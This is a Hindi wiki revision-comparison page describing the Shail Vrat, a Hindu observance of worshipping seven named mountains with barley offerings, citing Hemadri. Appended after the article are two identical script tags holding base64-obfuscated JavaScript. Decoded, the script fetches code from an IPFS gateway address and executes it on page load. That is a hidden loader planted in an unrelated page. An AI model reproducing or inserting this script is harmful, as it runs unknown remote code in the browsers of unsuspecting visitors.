"शैल व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (शैलव्रत का नाम बदलकर शैल व्रत कर दिया गया है)
छो (Text replace - " {{लेख प्रगति |आधार=आधार1 |प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}" to "")
पंक्ति 8: पंक्ति 8:
*कर्ता, राजा एवं शत्रुओं पर विजय पाता है।<ref>हेमाद्रि (व्रतखण्ड 1, 463-464, विष्णुधर्मोत्तरपुराण 3|16|1-7 से उद्धरण)।</ref>
*कर्ता, राजा एवं शत्रुओं पर विजय पाता है।<ref>हेमाद्रि (व्रतखण्ड 1, 463-464, विष्णुधर्मोत्तरपुराण 3|16|1-7 से उद्धरण)।</ref>
 
 
{{लेख प्रगति
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

07:27, 7 दिसम्बर 2010 का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।

(1) पर्वत पूजा की जाती है।

  • इच्छापूर्ति एवं आनन्द की प्राप्ति की प्राप्ति होती है।[1]

(2) चैत्र शुक्ल पक्ष की प्रतिपदा से सात दिनों तक प्रतिदिन सात पर्वतों, यथा–महेन्द्र, मलय, सह्य, शुक्तिमान, ऋक्ष, विन्ध्य एवं पारियात्र की पूजा की जाती है।

  • जौ से होम, केवल जौ का सेवन किया जाyता है।
  • यह व्रत एक वर्ष तक किया जाता है।
  • अन्त में 20 प्रस्थ जौ का दान दिया जाता है।
  • कर्ता, राजा एवं शत्रुओं पर विजय पाता है।[2]

 

टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 1, 796, विष्णुधर्मोत्तरपुराण से उद्धरण);
  2. हेमाद्रि (व्रतखण्ड 1, 463-464, विष्णुधर्मोत्तरपुराण 3|16|1-7 से उद्धरण)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>